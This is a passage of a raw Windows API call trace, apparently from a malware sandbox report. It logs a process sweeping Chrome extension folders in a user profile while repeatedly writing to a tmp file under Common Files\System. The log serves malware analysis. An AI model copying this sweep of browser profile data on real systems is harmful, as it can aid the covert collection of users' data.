ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841c9290, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.987] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.987] GetLastError () returned 0x12 [0139.987] AreFileApisANSI () returned 1 [0139.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.987] GetFileType (hFile=0x128) returned 0x1 [0139.988] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d07c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.033] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.033] GetLastError () returned 0x12 [0140.033] AreFileApisANSI () returned 1 [0140.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.033] GetFileType (hFile=0x128) returned 0x1 [0140.033] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d7cf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.034] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.034] GetLastError () returned 0x12 [0140.034] AreFileApisANSI () returned 1 [0140.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.034] GetFileType (hFile=0x128) returned 0x1 [0140.034] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841df220, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.077] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.077] GetLastError () returned 0x12 [0140.077] AreFileApisANSI () returned 1 [0140.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.078] GetFileType (hFile=0x128) returned 0x1 [0140.078] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f0390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.078] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.078] GetLastError () returned 0x12 [0140.078] AreFileApisANSI () returned 1 [0140.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.078] GetFileType (hFile=0x128) returned 0x1 [0140.078] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f78c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.124] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.124] GetLastError () returned 0x12 [0140.124] AreFileApisANSI () returned 1 [0140.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.125] GetFileType (hFile=0x128) returned 0x1 [0140.125] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841fedf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.125] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.125] GetLastError () returned 0x12 [0140.125] AreFileApisANSI () returned 1 [0140.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.125] GetFileType (hFile=0x128) returned 0x1 [0140.126] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84206320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.171] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.171] GetLastError () returned 0x12 [0140.171] AreFileApisANSI () returned 1 [0140.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.171] GetFileType (hFile=0x128) returned 0x1 [0140.171] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8420d850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.172] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.172] GetLastError () returned 0x12 [0140.172] AreFileApisANSI () returned 1 [0140.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.172] GetFileType (hFile=0x128) returned 0x1 [0140.172] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84212670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84212670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.280] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.280] GetLastError () returned 0x12 [0140.280] AreFileApisANSI () returned 1 [0140.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.281] GetFileType (hFile=0x128) returned 0x1 [0140.281] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8421c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.281] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.281] GetLastError () returned 0x12 [0140.281] AreFileApisANSI () returned 1 [0140.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.281] GetFileType (hFile=0x128) returned 0x1 [0140.281] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x842237e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.327] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.327] GetLastError () returned 0x12 [0140.327] AreFileApisANSI () returned 1 [0140.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.327] GetFileType (hFile=0x128) returned 0x1 [0140.327] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.328] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.328] GetLastError () returned 0x12 [0140.328] AreFileApisANSI () returned 1 [0140.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.328] GetFileType (hFile=0x128) returned 0x1 [0140.328] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.374] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.374] GetLastError () returned 0x12 [0140.374] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0140.374] GetLastError () returned 0x12 [0140.374] AreFileApisANSI () returned 1 [0140.374] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0140.374] GetFileType (hFile=0x194) returned 0x1 [0140.375] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0140.376] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0140.376] GetLastError () returned 0x12 [0140.376] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0140.376] GetLastError () returned 0x12 [0140.376] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0140.376] GetLastError () returned 0x12 [0140.376] AreFileApisANSI () returned 1 [0140.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0140.376] GetFileType (hFile=0x18c) returned 0x1 [0140.377] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0140.377] AreFileApisANSI () returned 1 [0140.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0140.377] GetFileType (hFile=0x190) returned 0x1 [0140.377] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0140.377] AreFileApisANSI () returned 1 [0140.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0140.377] GetFileType (hFile=0x194) returned 0x1 [0140.378] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0140.379] AreFileApisANSI () returned 1 [0140.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.379] GetFileType (hFile=0x128) returned 0x1 [0140.379] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*.*", 